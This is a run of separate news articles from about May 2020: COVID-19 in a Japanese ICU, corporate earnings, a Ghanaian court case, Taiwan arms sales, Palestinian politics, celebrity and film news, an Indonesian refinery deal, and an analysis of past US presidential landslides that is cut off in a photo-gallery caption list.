On a nearby notice board a clear file filled with consent forms for the experimental drug Avigan is tacked next to a handwritten letter sent by a family member of a patient who died last month.

"I never thought such a horrible thing could happen and I still can't believe it's true," the sender wrote. "For all of you who worked under the risk of infection, with your own fear and worries, our entire extended family would like to express our gratitude for all that you have done."

Kohamoto holds his tablet against his chest. After a pause, he adjusts his glasses and returns to the ICU through its automatic doors.

"A LONG BATTLE"

As governments contemplate reopening their economies after months of lockdown and people hope to return to their normal routines, it remains unclear even to front-line medical professionals to what extent the reopening may cause new spikes in infections.

"What we're preparing for now is months of this, a lull, then a small cluster or spike," Fujitani says. "It's going to be a long battle, and we can't have staff, especially nurses, burning out."

Yasunobu Tsuda, a critical-care nurse specialist whose wife is preparing to return to work as a midwife at St. Marianna after maternity leave, says the work takes its toll.

"You go home and the first thing you want to do is hug your child at the door, but you can't," he says. Even at home, Tsuda wears a mask.

"I don't think my child even knows my face yet." (Reporting by Mari Saito; editing by Kari Howard)
Votorantim Cimentos sees net revenue up 9% in 1Q20

22 May 2020

Votorantim Cimentos' financial statement for the period ended 31 March 2020 reported net revenue up nine per cent to BRL2747m (US$494.6m) from BRL2524m in the 1Q19, while adjusted EBITDA fell to BRL232m from BRL586m in the 1Q19. Group cement volumes declined slightly to 6.3Mt from 6.4Mt in the year-ago period.



Net revenues in Brazil in 1Q20 rose to BRL1563m from BRL1536m in 1Q19. Positive market dynamics were seen before the outbreak of COVID-19 in March. However, the expansion project at Pecem grinding plant in Ceara was impacted by government restrictions on coronavirus lockdown.



In North America first-quarter net revenues increased to BRL631m from BRL431m in the 1Q19. Milder weather and strong market conditions, plus the depreciation of the real supported performance.



In Europe, Asia and Africa, net revenue remained stable reaching BRL403m, up 0.4 per cent YoY from BRL401m. COVID-19 impacted results from March 2020 mainly in Morocco, Spain and Tunisia.



Meanwhile, in Latin America (excluding Brazil) net revenues slipped to BRL151m, down -12 per cent from BRL172m in the 1Q19. Uruguay saw stable volumes and had a price increase while Bolivia was impacted by the macroeconomic scenario and COVID-19 lockdown in March 2020.

Published under
Elizabeth Rockson

22.05.2020 LISTEN

A 29-YEAR-OLD commercial sex worker has been jailed eight years with hard labour for stealing two kids at Tsinagbe, a suburb of Ashaiman in the Greater Accra Region.

The convict, Elizabeth Rockson, alias Janet, was sentenced by the Ashaiman Circuit Court presided over by Agnes Opoku-Barimieh.

She pleaded not guilty to the charge (child stealing) preferred against her contrary to Section 93 of Criminal Offences Act 1960 (Act 29).

However, the court, after hearing her explanation, entered a plea of guilty on her behalf.

In its ruling, the court took into consideration the immediate confession plea of guilty of Janet and the fact that she is a first-time offender.

Prosecuting, ASP Kwasi Afrifa said Janet who resides at Tsinagbe stole two children.

On May 8, at about 6:00 pm, the first complainant sent her 11-month-old daughter to Janet whilst the mother was doing her household chores.

The accused person was later seen playing with the baby and another 11-year-old girl in the neighbourhood.

However, by about 9:00 pm, Janet and the children were nowhere to be found in the area.

During a frantic search, the complainants called Janet's mobile phone several times, but she did not answer the calls, and she subsequently lodged a complaint with the Ashaiman Police the following day.

On May 15, Janet was arrested upon a tip-off, but she vehemently denied knowing the whereabouts of the children.

Upon further interrogation on May 16, Janet confessed sending the children to her hometown, near Dzodze in the Volta Region, and said they were safe and in good health.

Immediately, the police accompanied Janet to Tsiyinu, a village near Afife in the Volta Region, where the kids were rescued and reunited with their families.

When they were found, one of the kids had had her hair shaved by Janet, and it was unclear if she tried to conceal the victim's identity.

---Daily Guide
China voices strong opposition to U.S. arms sales to Taiwan

People's Daily Online

(Xinhua) 20:07, May 21, 2020

BEIJING, May 21 (Xinhua) -- China firmly opposes U.S. arms sales to China's Taiwan region, Ma Xiaoguang, a spokesperson for the State Council Taiwan Affairs Office, said Thursday.

China resolutely objects to the United States having military ties or any other form of official contact with Taiwan, Ma said.

Ma made the remarks when responding to a question about the U.S. State Department's approval of a plan to sell weapons worth 180 million U.S. dollars to Taiwan.

"Taiwan's Democratic Progressive Party authority has repeatedly purchased U.S. weapons with taxpayers' money. This will only undermine peace and stability across the Taiwan Strait and harm the interests of the Taiwan people," he said.

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Eva Longoria and her husband have celebrated their four-year wedding anniversary with a socially-distanced 'front yard flamenco'.

The actress, 45, uploaded a series of posts to Instagram on Thursday to mark the milestone and praised partner Jose Antonio Baston as 'the kindest soul I have ever known'.

She looked radiant as she slipped into a black linen maxi dress and went bare foot to enjoy a live performance from a flamenco band at her home.

Inseparable: Eva Longoria, 45, and her husband have celebrated their four-year wedding anniversary with a socially-distanced 'front yard flamenco'

The pair swilled glasses of red wine as they listened to the music but their one-year-old son Santiago stole the show as he danced enthusiastically.

Eva uploaded snippets of the musical escapade alongside a caption that read: 'Wow what a wedding anniversary [red heart].

'Thank you @manuelguitierrez6 and @flamencodistrict for helping us celebrate our anniversary!

'Dancing 6 feet away... #frontyardflamencoconcert #socialdistancing #anniversary.'

Tiny dancer: The pair swilled glasses of red wine as they listened to the music as their one-year-old son Santiago also looked to be enjoying the performance

Earlier in the day she uploaded adorable family snaps as she heaped on the praise for her third husband.

She wrote: 'Four years ago today I married this beautiful man. The kindest soul I have ever known.

'Thank you being the best partner in marriage and in life! May God continue to bless our journey together.

'Te amo amor de mi vida! Happy anniversary!'

Loving: She looked radiant as she slipped into a black linen maxi dress and went bare foot to enjoy a live performance from a flamenco band at her home

Heartfelt: Earlier in the day she uploaded adorable family snaps as she heaped on the praise for her third husband

It comes after Eva posted adorable snaps of Santiago enjoying a splash in the pool as the pair donned matching designer swimwear.

She recently told People that she's glad Santiago, who will turn two next month, is too young to understand what's going on with the coronavirus pandemic.

'I'm lucky cause my son is so little, he's not in school yet and he's not quite a baby so he's just in the sweet spot of 'has no idea what's going on' and just loves that mom and dad are home all day long,' she explained.

Relaxing: On Friday, Longoria had posted several sweet snaps to her Instagram showing her with her son enjoying a splash in the pool in matching designer swimwear

She's also determined to keep the tot occupied during the lockdown.

'I have like his whole day planned, like we're going to paint in the morning for an hour and then we're going to do flashcards and we're going to do the alphabet,' she said.

'Then he'll find a box and play with that for five hours, and I'm like, okay, all my planning goes out the door.'
Fear is corrosive. It's contagious. Fear impedes your ability to think straight. It skews your perceptions of risk. At its worst, it can paralyse you completely. Right now, fear is all around us: in the shocking headlines, in the death counts, in the near-silent queues of people waiting to get into the supermarket. We're breathing it in constantly.

So it should come as no surprise that the mental health of the population is suffering.

The Royal College of Psychiatrists (RCP) reports that people with no previous history of mental illness are developing serious psychological problems for the first time, as a result of the coronavirus crisis.

Adults and children are experiencing symptoms of serious mood disorders such as mania, depression and psychotic episodes, triggered both by the pandemic itself and by the lockdown response. Young men, aged 18 to 25, are especially affected by first-time mental health issues.

Fear of illness, fear of recession, unemployment, bereavement, isolation, absence of normal routines, relationship pressures heightened by being cooped up at home for weeks on end.

Add a dash of acute insomnia, and you've got the toxic cocktail that is tipping many people into appalling distress.

The fact that more than half a million people accessed an online suicide prevention programme in the last three weeks alone speaks for itself.

While it's bad enough now, this largely hidden epidemic is only going to get worse.

Mental health experts are expecting a dramatic upsurge of people needing treatment once the lockdown restrictions are eased. The RCP warns that services could be overwhelmed by "a tsunami of mental illness".

Why? Well, when they are in the middle of a crisis, many people are able to cope, fuelled by adrenaline, social solidarity and a sense of purpose. All their focus is on getting through.

It's only when the threat passes that the damage becomes clear - and that's when things start to fall apart.

Frontline healthcare workers, directly exposed to the worst cases of Covid-19, are thought to be at particular risk of post-traumatic stress disorder, a horribly debilitating condition.

Here in Northern Ireland, the situation is especially acute because we have a society that is already ravaged by the trauma of the Troubles. We were in no shape to take yet more emotional pain, and yet we have.

So the announcement, by the Health Minister Robin Swann, of a new action plan to improve mental health services is a welcome one, as is Mr Swann's acknowledgement that mental health issues "are going to be one of the biggest fall-outs" from the pandemic.

Yet a plan is just a plan: what we really need is fully-funded, coordinated action, and urgently.

We also need to reflect on the role that governments themselves played in stoking public fears as a means of ensuring widespread compliance with the restrictions.

Professor Robert Dingwall, an adviser to SAGE, the UK government's scientific emergency group, said that the population has been "effectively terrorised" into believing they will die if they catch coronavirus, thus creating a "climate of fear" in which people are now too scared to return to their daily lives.

Professor Dingwall added that Britain had "completely lost sight" of the true nature of the disease, which for the majority of people is relatively mild. A SAGE discussion paper from March 22, entitled 'Options for increasing adherence to social distancing measures', gives weight to Prof Dingwall's analysis.

The paper speaks of increasing the "perceived level of personal threat" posed by the virus, by using "hard-hitting emotional messaging".

Was this what our own Mr Swann was trying to do when he warned of "a surge of Biblical proportions", claiming that 15,000 people could die in Northern Ireland?

In my view, it is morally unjustifiable to play on people's basic survival fears as an instrument of public control.

It is possible to explain the serious nature of a threat such as Covid-19, to identify those most at risk, and to emphasise the vital need for compliance with social distancing measures, without resorting to overblown scare tactics.

Given what we know now about the precarious state of the nation's mental health, such state-sanctioned forms of emotional blackmail are even harder to defend.

Fear is a powerful but crude tool. The government's apocalyptic messaging has been so effective that many people are too frightened to seek emergency medical treatment or to send their children back to school.

Professor Karol Sikora, the renowned oncologist, has warned that when the history books are written, this fear will be seen to have done much more damage than the virus itself.

Lessons for the future must be learned now.
RAMALLAH, West Bank  May 20 was no different than any other day for Palestinians, without any concrete changes following the May 19 announcement of President Mahmoud Abbas that all agreements signed with the United States and Israel were being ended. The statement was made at a meeting of the Palestinian leadership to discuss options for responding to Israeli government plans to annex parts of the West Bank.

The Palestine Liberation Organization and the State of Palestine are absolved, as of today, of all the agreements and understandings with the American and Israeli governments and of all the obligations based on these understandings and agreements, including the security ones, Abbas declared at a Palestinian leadership emergency meeting in Ramallah.

The Israeli occupation authority, as of today, has to shoulder all responsibilities and obligations in front of the international community as an occupying power over the territory of the occupied state of Palestine, with all its consequences and repercussions based on international law and international humanitarian law, particularly the Fourth Geneva Convention of 1949, Abbas added.

Israels Public Broadcasting Corporation, also known as Kan, quoted an anonymous Palestinian official May 20 as saying that Abbas had ordered the heads of his services to immediately stop security coordination with Israel, specifically two figures who have regular contacts with the Israeli side: the head of the Palestinian Authoritys (PA) General Authority of Civil Affairs, Hussein al-Sheikh, and the director of the Palestinian Intelligence Service, Maj. Gen. Majid Faraj. But the website said no other practical changes in this field were noted.

Also on May 20, the newspaper Israel Hayom quoted a Palestinian official as saying Abbas announcement to end agreements with Israel was only declarative.

But Azzam al-Ahmad, a member of Fatahs Central Committee, told Palestine TV on May 20, Everything that the Oslo Accords entail, including security coordination and the Paris Economic Protocol, is a thing of the past, indicating that all have become null and void.

In response to the president's decision, the government held an emergency meeting the evening of May 20 to discuss the implementation of the decisions that Abbas had taken regarding the relationship with Israel and the United States. During the meeting, Prime Minister Mohammad Shtayyeh ordered all ministries to take urgent and practical steps to implement the Palestinian leaderships decisions.

Some say the PA's announcement that it is absolved of all the agreements is a leap in the dark, as there is no clear-cut Palestinian plan for how to dissolve the agreements with Israel, most notably the Oslo Accords concluded on Sept. 13, 1993, in virtue of which the PA was established.

Since 2015, the PA has threatened to suspend agreements with Israel and the PLOs Central Council has taken decisions to stop security coordination, but throughout these years no serious steps have been taken to implement those decisions; also, there have been no visible alternatives to the coordination. Until Abbas' declaration, security coordination was at its best, and the same applies to civilian coordination in all its fields, be it in commercial exchange, supplying electricity and water and collecting clearing money.

Some Palestinian factions doubt the PAs ability to implement important decisions in response to the Israeli annexation plan, as both the Islamic Jihad and Hamas refused to participate in the leadership meeting held May 13 to discuss ways to respond to the proposed annexation.

Hamas said in a statement that confronting this Israeli project through a meeting in Ramallah was a smokescreen and a waste of precious time during which the plot against the Palestinian people thickens; Hamas also considered the meeting to be a repetition of experiences that have proved unsuccessful.

The Islamic Jihad said it would not attend the meeting as it believes the correct way to confront annexation and settlements is through holding a gathering of the PLOs leadership in the presence of the Palestinian president and faction leaders.

Meanwhile, Omar Shehadeh, the representative of the left-wing Popular Front for the Liberation of Palestine, withdrew from the May 19 meeting, rejecting Abbas statement, which also stressed the Palestinian leaderships commitment to negotiations with Israel under international auspices and through an international peace conference.

Shehadeh told Hadf News that Abbas proposal does not constitute a response to the Israeli government's policies and the US Mideast peace plan, also known as the deal of the century.

Shehadeh said the statement Abbas read to the media was not discussed during the meeting, stressing that it falls into the quagmire of negotiations and keeping the doors open to them; Shehadeh said this is dangerous since Abbas keeps going in circles, betting exclusively on the international community.

The deputy secretary-general of the Democratic Front for the Liberation of Palestine, Qais Abd al-Karim, who attended the May 19 meeting, told Al-Monitor, If there is a political will, these decisions can be implemented based on a comprehensive Palestinian national unity that strengthens the elements of confronting Israel and the US administration.

He added, What happened did not meet our aspirations, referring to Abbas statement, noting, We believe that the annexation process, which [Israeli Prime Minister Benjamin] Netanyahu said he intends to do, requires us to start the implementation process, and take concrete, specific steps, such as ending security coordination and the Paris Economic Protocol.

Abd al-Karim pointed out that a national strategy is now required to push Israel to look for a political solution, and this calls for a confrontation at various levels, but it will be a costly one and may harm the interests of social groups that have major economic and social privileges, and which play a role in influencing the PA and discouraging it from carrying out its decisions.

Ghassan al-Khatib, a former Palestinian planning minister and a former director of the government media office in Ramallah, told Al-Monitor this is the first time that Abbas had used the language he did in his speech; Khatib said the Palestinian position is not an escalation but rather a result of Israeli policies that abolished the implementation of all agreements.

Terminating agreements does not mean ending and dissolving the PA, because it has become a reality and an important achievement for the Palestinian people, Khatib added.

He said Israel is dragging the PA away from cooperation and into conflict. He also said the announcement that security coordination is stopping does not harm Israel but would rather be painful to the PA, which he said benefits from it more than Israel does.

Khatib said that what hurts Israel is real and daily confrontations on the ground, because such activities are what stop the settlement project and land grab by settlers.
The upcoming zombie film "ALIVE" has released some sneak peek of actor Yoo Ah In as the lead character.

"ALIVE" movie is a survival thriller that tells the story of the unforeseen outbreak of a bewildering illness that makes those who are infected attack uninfected people. The mysterious disease spreads rapidly throughout the city and eventually becomes uncontrollable. The survivors of the outbreak are trapped in their homes without any access to cellular sites. They can't call, text, or even use their WiFi and data.

The lead cast members are Yoo Ah In and Park Shin Hye, who will portray the characters of Joon Woo and Yoo Bin, respectively. They are two survivors that were left alone in the midst of a chaotic and dangerous metropolis.

Yoo Ah In describes his character, Joon Woo, as an ordinary and truly relatable guy, and a person who one can meet in his or her daily life. Although he is just a plain and simple man, he said, he also has his own extraordinary qualities. Yoo Ah In added that his character also has a guy-next-door aura.

Meanwhile, "ALIVE" director Jo Il Hyung praised the acting performance of actor Yoo Ah In. He particularly commended the delicacy of the actor's portrayal of Joon Woo's emotions during the life-or-death situation scenes. The director added that Yoo Ah In is capable of pulling off any character and has the ability to make his viewers focus their attention on him.

Director Jo Il Hyung went on to describe that Yoo Ah In has evolved and upgraded the character of Joon Woo.

As of the moment, "ALIVE" is set for release sometime in late June.

South Korean actor and creative director Yoo Ah In, born as Uhm Hong-sik on October 6, 1986, majored in fine arts in Gyeongbuk Arts High School. During his first year at the institution, he was discovered by a casting agent in front of the school.

Yoo Ah In eventually transferred to Seoul and started to live independently. He entered the Seoul Arts High School, but he dropped out to pursue his broadcast activities. Later on, he enrolled in Dankuk University and Konkuk University and finished a GED for high school certification. He was first scouted as a K-pop idol and trained to sing before he debuted.

The actor made his debut in a TV commercial in 2003, and from then on, he decided to use the stage name Yoo Ah In. His management wanted to make his stage name attractive that would fit an idol image because his original name Uhm Hong-sik was considered too strong as well as old fashioned.

The stage name that he chose was taken from the German word, which means "one." He is also famous in portraying a unique variety of roles both in dramas and films.

Yoo Ah In is considered one of the most outspoken and politically-socially charged Korean actors of his generation.

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Linkedin Mardika Parama (The Jakarta Post) Jakarta  Fri, May 22, 2020 16:25 608 fc6853813033f564188675f8bd9ad975 1 Business Pertamina-EP,South-Korea,consortiums,Dumai-refinery Free

State-owned oil and gas company Pertamina has agreed to join forces with state construction firm PT Nindya Karya and a South Korean consortium to explore business opportunities for a US$1.5 billion refinery development project in Dumai, Riau.

The memorandum of understanding (MoU) signed by representatives of the three parties on Wednesday marked progress in Pertaminas plan to develop its major refineries as Indonesia works toward reducing oil imports and increasing domestic oil production.

This $1.5 billion project would increase the domestic oil and fuel production capacity, which would consequently reduce our dependence on oil imports and trade deficits in the future, Investment Coordinating Board (BKPM) chairman Bahlil Lahadalia said during the signing ceremony.

The MoU, which commissions a joint study on the Dumai refinery upgrade project, was signed by Pertamina megaprojects director Ignatius Tallulembang, Nindya Karya president director Haedar Karim and a representative of the South Korean consortium, DH Global Holdings Co. Ltd. chairman Jung Sam Seung.

The refinery upgrade is part of Pertaminas Refinery Development Master Plan (RDMP) and Grass Root Refinery program.

The RDMP lays out a road map for upgrading four refineries: one in Dumai, Riau, one in Balikpapan, East Kalimantan, one in Cilacap, Central Java, and one in Balongan, West Java. The Grass Root Refinery program details the companys plans to construct two new production facilities in Tuban, East Java, and Bontang, East Kalimantan.

The upgraded refineries' total installed capacity will increase 38.2 percent to 1.21 billion barrels per day (bpd), while the new refineries will have a combined capacity of 600,000 bpd.

We would like to express our gratitude to all parties who agreed to actualize the initiative. I hope the investment will have additional strategic value, as the oil price is currently under pressure, Bahlil said.

Pertamina, through Ignatius, stated that the Dumai refinery upgrade project was prioritized.

With this agreement, Nindya Karya and the South Korean consortium have become Pertaminas strategic partners in conducting the study on the Dumai refinery upgrade. Our company hopes an important milestone can be achieved in December, Ignatius said.
The suspended New Patriotic Party (NPP)Parliamentary Aspirant for Nalerigu-Gambaga Constituency in the North East Region Mr. Peter Wuni Baaga has been dismissed as the Deputy Director-General of the National Disaster Management Organization (NADMO), MyNewsGh.com has confirmed.

A letter from the Chief of Staff Akosua Frema Osei Opare sighted by MyNewsGh.com did not give any reason for the decision except to say she was acting on the instructions of President Nana Addo Dankwa Akufo-Addo.

Mr Peter Wuni Baaga was last week suspended for making certain utterances on live radio the party described as breaches.

This action has been necessitated by certain utterances you made during a radio program at Tizaa Fm, a local radio station based in Nalerigu in the evening of 12th May 2020. Your utterances were in breach of Article 4(7) of the NPP Constitution and the General Guidelines governing the parliamentary primaries issued by the General Secretary of the party. The Regional Chairman as well as the Regional Executive Committee are in possession of a recorded tape of the program and are compelled to initiate disciplinary action against you, a copy of the letter intercepted by MyNewsGh.com read in part.

I rigged elections for Hajia Alima to become an MP

Mr. Peter Wuni Baaga had given shocking details of how the party won the seat in 2004 as well as 2016 during the interview.

According to him, he was the mastermind of rigging that saw the current Minister of Local Government and Rural Development win the seat for the first time in the area.

Alima knows what I did for her to become an MP. We will all account for our deeds on judgment day. She has so soon forgotten all these struggles and is taking me now for a fool but I wont allow it to happen, he disclosed on a local radio station in Nalerigu.

He recounted how Hajia Alima who is the incumbent lawmaker for the area, tried to mastermind his sack as a DCE under the erstwhile Kufuor administration in 2008.

She went pleading with the then President through the Chief of Staff to fire me because my continued stay was a threat to her winning the seat. I was summoned to the then seat of government (Castle Osu) but while on the way, I was involved in an accident, and my vehicle was damaged beyond repair. At the meeting, she repeated that I was campaigning against her but I questioned her how she became an MP.I demanded to know whether or not we rigged the election for her. She admitted that her votes were short but I (Peter Wuni) knew what I did for her to win, he revealed.

Source:MyNewsGh.com
Despite what many may think, there are few things pundits enjoy less than making hard and fast predictions about an election.

A presidential election six months away is even tougher to call. A presidential election amid a pandemic? No thanks.

Yet a quiet consensus had been forming, no doubt partly the result of Donald Trump himself and Republican messaging, that the president was set for re-election. Despite his approval rating never shifting consistently out of the low 40s, it was also believed that his solid core would not budge. If the economy steadily kicked back to life, if the number of coronavirus deaths flattened, Trump with an incumbents advantage, was likely looking at a second term. He remains the bookies favourite.

That picture was challenged this week by a prediction from a respected consulting firm, that not only would Trump be defeated, but by a landslide.

Our national Election Model predicts Trump will lose the popular vote by a margin of 30 points  gathering only 35 per cent of the votes  the worst incumbent performance in a century, says the report by Oxford Economics.

The report suggests in addition to losing the popular vote, Trump will be pummelled in the Electoral College by 328  210. It says seven states that voted for the president in 2016  Iowa, Ohio, Wisconsin, Michigan, Pennsylvania, Missouri, and North Carolina  will be be flipped by Democrats.

The company, which had previously predicted Trump would win the election with 55 per cent of the vote, warns that voter turnout and the pandemic are factors that could significantly alter the outcome. Yet it says: A deeper recession, or slower recovery from the global coronavirus recession, would represent an even larger hurdle for Trump.

The presidents campaign was quick to reject the analysis. 2016 proved that polling is notoriously wrong and has always underestimated the president and his ability to connect with the American people, says deputy press secretary Sarah Matthews.

In November the choice will be clear: president Trump is the only candidate who has demonstrated that he knows how to get the economy fired up again.

For supporters of Biden and critics of Trump, the prediction by Oxford Economics was as sweet as the rarest, unfiltered wild honey. Three-and-a-half years after Trump stunned most observers and broke the hearts of those who believed Hillary Clinton could not lose, their wounds remain sore.

Indeed, having watched him be impeached by the House over his alleged efforts to entice Ukraine to help him against Biden, and then witnessed what many consider a faltering, faulted response to Covid-19, the desperation among Democrats to get rid of Trump has only risen. Very quickly, the report became top trending news.

For those who have come to political or civic maturity more recently, amid a divided nation in which politics has been tribal and bitter, the idea of a landslide must feel like a novelty. Having been repeatedly told that the political party battle lines had long been drawn and the number of independents reduced to a sliver, the very idea that the firmament could be shifted is by itself startling.

For those with more experience, landslides are not ancient history  they occurred in 1984, 1972, 1964 and in 1936.

One thing the model admitted it could not account for was candidates attributes such as race, gender, or likeability the last factor may be centrally important in 2020. This was something seized on by Christina Greer, professor of political science at New Yorks Fordham University, who sounded something of a wake-up call to those who now believe ousting the president will be easy.

Donald Trump, she says, has not been any ordinary president. He has already said he will do whatever it takes to stay in office, she says. So I am a little bit wary about all this talk of Biden by a landslide.

But could it happen? Are the conditions and circumstances of 2020 in any way similar to those in 1984, 1972 and 1936. What lessons are to be learned from casting our eyes back?

1984: Morning in America  Ronald Reagan (R) 59  40 Walter Mondale (D)

In the first debate between Reagan and the Minnesota senator, there were moments when the 73-year Republican looked confused and lost. Nobody knew then about the Alzheimers he would later be diagnosed with. In the second debate, he was asked whether he was up to the task.

I will not make age an issue of this campaign, he said, with just a hint of a smile. I am not going to exploit, for political purposes, my opponents youth and inexperience.

The audience erupted in laughter, as did Mondale. Jimmy Carters former vice president, then aged 56, said he knew in that moment the race was over. (Reagan would win 49 of the 50 states, with Mondale holding only his home state.)

In truth, he was already facing an uphill battle. Reagan, with the syrupy, sunny campaign advertisement Morning in America  recently borrowed by anti-Trump Republicans who produced a Mourning in America video  appeared to catch the mood in the country, keen to move on from the oil and hostage crises that hampered Carter. Reagan had plenty of critics of his domestic and foreign policies, but as a campaigner, he was rarely matched.

CNN commentator and broadcaster Jeff Greenfield, who wrote a book about the 1980 election, and covered the 84 race, says the contrast between then and 2020 was like night and day. It was a classic feel-good-about-the-country (campaign). You know, were content. And we dont get a lot of those. The last one was probably 1996, says Greenfield.

This election is going to be  and Trumps people have been very clear about this  making Biden utterly unacceptable. Hes corrupt, hes senile, hes got dementia. Hes a paedophile, he says.

We didnt go near that kind of thing [in 84.] Reagan didnt have to. The country was happy with the leadership, and with the state of the economy.

Could Trump be beaten in a landslide in November? Greenfield says the key question is whether there is anything that will cause Trumps hardcore base to desert him. He says: If Trump doesnt do any better than 43 or 44, that suggests something like a 10-point spread for Biden which, in my view, thats a landslide.

Howell Raines covered the race for the New York Times and wrote the papers front page story that appeared the day after Reagans win. He would go on to become the papers executive. He also views the 84 election in sharp contrast to the 2020 race.

Reagan, he says, had managed to capture the zeitgeist. We saw a harbinger of it in 1980, when he was running against Carter, who was a better president than he gets credit for, he says. He radiated positivity in a way that Jimmy Carter did not, just by his simple, rather retiring nature. All of that built into a huge tidal wave of support for Reagan. And if youre out on the campaign trail as I was, you could feel it cresting throughout the [autumn].

He adds: If anything, I was surprised Reagan was held to 60 per cent, because it never felt like a competitive election.

Raines also feels Trump could be defeated in November by some margin.

The stage is set for the kind of landslide that Oxford [Economists] is predicting in general terms, he says. Urban America, young America, older America and minority America are all coalescing in the Democratic column.

He adds: I want to put in one huge caveat; the ability of the Democratic Party to shoot yourself in the foot can hardly be over overestimated.

He says there are three elements that will lead to Trumps defeat  the incompetence in dealing with the pandemic, the state of the economy and people who have to gamble their lives to go to work, and that for the first time in modern American history  allowing for the foibles of Nixon and Clinton  we dont have a president that parents and grandparents can point to as a general role model.

Those three factors make it a very difficult election for Trump to win.

1972: The burying of an insurgents campaign  Richard Nixon (R) 61  38 George McGovern (D)

There are various accounts of the 1972 race between the incumbent Nixon, a former senator and congressman from California, and his challenger, a South Dakota senator.

Few are more colourful than that by the late Hunter S Thompson  At this point, the story becomes very slippery with many loose ends and dark shadows  whose reports for Rolling Stone were accompanied by wild illustrations by the British artist Ralph Steadman. Thompsons coverage and gonzo style, frequently imitated but never matched, would be collected in Fear and Loathing on the Campaign Trail 72. Thompson killed himself in 2005, having previously requested Johnny Depp fire his ashes into the sky above a Colorado valley.

Bruce Miroffs account of the race  The Liberals Moment: The McGovern Insurgency and the Identity Crisis of the Democratic Party  contains no episodes with hard drugs. Yet both share the view McGovern never stood a chance of defeating Nixon.

While Nixon also worked hard to bolster the economy going into the election, says Miroff, professor of political science at the University at Albany in New York state, his victory resulted from two key factors. One was that McGovern was considered too far to the left. A third of Democrats voted for Nixon. The second was the way in which McGovern dumped his running mate, Thomas Eagleton, after it was revealed he had been treated for depression.

That led to a perception that he was both incompetent and kind of a typical duplicitous politician, he says.

 Archive footage of US election landslides of 1972 and 1984

While Nixon trounced McGovern, who won only Massachusetts and Washington DC, his second term was notoriously cut short. As the Watergate affair grew public, Nixon became more paranoid and angry. In 1973 a grand jury investigation was launched into the administrations dirty tricks campaign against Democrats. In 1974, the Supreme Court ordered the release of White House tapes that revealed Nixons involvement.

Congress prepared articles of impeachment  just the second president to face them at that point  and in August 1974 he resigned. By taking this action, I hope that I will have hastened the start of that process of healing which is so desperately needed in America, he said, before departing the White House by helicopter.

Does Miroff see any parallels between 1972 and 2020? He says he remains sceptical of the idea Trump could lose by a landslide. So far, he says, polling shows voters do not blame him for what has happened to the economy as a result of the coronavirus pandemic.

But what if unemployment reached 25 per cent and the number of people dead reached 150,000? That would create a grim mood in the country, he says. When the public is in a grim mood, they dont tend to reelect presidents.

He says he feels a landslide is not likely, but is possible. While Trump had never been popular, he had never faced a crisis of this nature. He says the Democrats best tactic would be to challenge Trumps record not on the economy, but his response to the pandemic. In such circumstances, he could envisage Biden winning by 10 points

That would create a sense of Why should we reelect somebody whos presided badly over such a terrible time, he says. And add to that the pre- existing view of so many people that Trump is not competent, that hes dishonest.

1936: We will keep our sleeves rolled up  Franklin Delano Roosevelt (D) 61- 37 Alf Landon (R)

The most important thing about the election that saw FDR first reelected, says historian Si Sheppard, is not that unemployment at that point stood at 17 per cent.

Rather, it was that when he took office four years earlier it been 25 per cent. The key point to bear in mind about that was the question of trajectories. The trajectory of the economy under the administration, says Sheppard, author of The Buying of the Presidency? Franklin D Roosevelt, the New Deal, and the Election of 1936.

When Roosevelt ran for reelection in 1936, the unemployment rate was actually 17 per cent, which under normal circumstances would have been disastrous for an incumbent. But relative to what happened when he took office, that was an improvement.

He adds: So he had that kind of tailwind behind him. So its a question, not of the overall record of an administration, but of the trajectory hitting into a reelection year.

Sheppard says a similar trajectory helped Reagan in 84. Unemployment in November 1984 was higher than it had been when he first ran for office in 1980. But because the recession had peaked in 1982 and the economy was recovering, voters had a positive impression.

In a key speech, Roosevelt told voters: For nearly four years, you have had an administration which instead of twirling its thumbs, has rolled up its sleeves. We will keep our sleeves rolled up.

Sheppard, a professor of history at New Yorks Long Island University, says in 2020 the economy will likely play a huge role. While it is possible for a president to lose reelection when the economy is good, it is all but impossible to win when it is bad. My big concern for this election, is that the situation will repeat from 2016 that Trump could lose the popular vote, but still wins with the electoral college.

Sheppard says he sees no evidence Trumps hardcore base of support is going to abandon him.

Another scholar of the 1936 election, Laura Smith, agrees one of the similarities between that election, which came after the Great Depression began in 1929, and the one in 1984, was a sense of optimism evoked by the winners.

Democratic candidates compete on the campaign trail: In pictures Show all 18 1 /18 Democratic candidates compete on the campaign trail: In pictures Democratic candidates compete on the campaign trail: In pictures Jessica Canicosa, a precinct captain for Bernie Sanders, waits to greet caucus voters at Liberty High School in Henderson, Nevada REUTERS Democratic candidates compete on the campaign trail: In pictures Hotel workers at the Bellagio in Las Vegas get to grips with voting papers during the Nevada caucuses AFP via Getty Images Democratic candidates compete on the campaign trail: In pictures A caricature of Bernie Sanders is projected on to a tree during a rally in Las Vegas EPA Democratic candidates compete on the campaign trail: In pictures A woman waits to have a photo taken with Elizabeth Warren during a town hall meeting in Las Vegas REUTERS Democratic candidates compete on the campaign trail: In pictures The threat of coronavirus and other germ-borne illnesses was on some voters' minds at the Democratic caucuses in Henderson, Nevada Getty Images Democratic candidates compete on the campaign trail: In pictures Former vice-president Joe Biden takes a selfie with a voter in Las Vegas ahead of the Nevada caucuses REUTERS Democratic candidates compete on the campaign trail: In pictures Amy Klobuchar changes her shoes backstage after giving a speech in Exeter, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures A warmly-wrapped-up dog attends an Elizabeth Warren event at Amherst Elementary School in Nashua, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures Bernie Sanders, who romped to victory in New Hampshire against Hillary Clinton in 2016, talks to the media in Manchester Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden was hoping to improve on his poor showing in Iowa in the New Hampshire primary Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren, renowned for giving time to supporters for selfies, works the crowd at the University of New Hampshire in Durham Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden takes a selfie with a supporter and his child outside a campaign event in Somersworth, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren and Bernie Sanders quarrel after a confrontation in a TV debate in which Sanders claimed that Warren was not telling the truth about a conversation in which she claimed he had said a woman could not win the presidency on 14 January AP Democratic candidates compete on the campaign trail: In pictures Supporter Pat Provencher listens to Pete Buttigieg in Laconia, New Hampshire on 4 February Getty Democratic candidates compete on the campaign trail: In pictures Pete Buttigieg speaks at a campaign event in Concord, New Hampshire while awaiting the results of the Iowa caucus Reuters Democratic 